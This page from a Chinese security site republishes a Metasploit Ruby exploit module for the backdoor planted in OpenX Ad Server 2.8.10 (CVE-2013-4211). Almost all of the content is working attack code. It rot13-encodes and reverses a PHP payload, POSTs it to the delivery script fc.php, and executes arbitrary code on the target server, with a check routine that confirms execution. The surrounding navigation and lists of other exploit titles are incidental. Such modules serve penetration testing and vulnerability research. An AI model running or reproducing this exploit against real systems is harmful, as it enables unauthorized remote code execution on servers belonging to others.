首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenX Backdoor PHP Code Execution Vulnerability
来源:metasploit.com 作者:egypt 发布时间:2013-08-12  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenX Backdoor PHP Code Execution',
      'Description'    => %q{
        OpenX Ad Server version 2.8.10 was shipped with an obfuscated
        backdoor since at least November 2012 through August 2013.
        Exploitation is simple, requiring only a single request with a
        rot13'd and reversed payload.
      },
      'Author'         =>
        [
          'egypt',   # Metasploit module, shouts to bperry for hooking me up with the vuln software
          'Unknown', # Someone planted this backdoor...
        ],
      'License'        => MSF_LICENSE,
      'References'     => [
          [ 'CVE', '2013-4211' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DisclosureDate' => 'Aug 07 2013',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Generic (PHP payload)', { }]],
      'DefaultTarget' => 0))
  
    register_options([
      OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
    ], self.class)
  end
  
  def check
    token = rand_text_alpha(20)
    response = execute_php("echo '#{token} '.phpversion();die();")
  
    if response.nil?
      CheckCode::Unknown
    elsif response.body =~ /#{token} ((:?\d\.?)+)/
      print_status("PHP Version #{$1}")
      return CheckCode::Vulnerable
    end
    return CheckCode::Safe
  end
  
  def exploit
    execute_php(payload.encoded)
  
    handler
  end
  
  def execute_php(php_code)
    money = rot13(php_code.reverse)
    begin
      response = send_request_cgi( {
        'method' => "POST",
        'global' => true,
        'uri'    => normalize_uri(target_uri.path,"www","delivery","fc.php"),
        'vars_get' => {
          'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
          'script' => 'deliveryLog:vastServeVideoPlayer:player'
        },
        'vars_post' => {
          'vastPlayer' => money
        },
      }, 0.1)
    rescue ::Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    rescue ::OpenSSL::SSL::SSLError
      fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
    end
  
    response
  end
  
  def rot13(str)
    str.tr! "A-Za-z", "N-ZA-Mn-za-m"
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Firefox onreadystatechange Eve
·Squash YAML Code Execution Vul
·D-Link Devices Unauthenticated
·Ruby on Rails Known Secret Ses
·HP Data Protector Arbitrary Re
·Sami FTP Server 2.0.1 - MKD Bu
·HP Data Protector Arbitrary Re
·Jetaudio 8.0.17 Crash Proof Of
·Open&Compact FTP Server 1.2 -
·Open-FTPD 1.2 Arbitrary File U
·Apache suEXEC Privilege Elevat
·HP StorageWorks P4000 Virtual
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved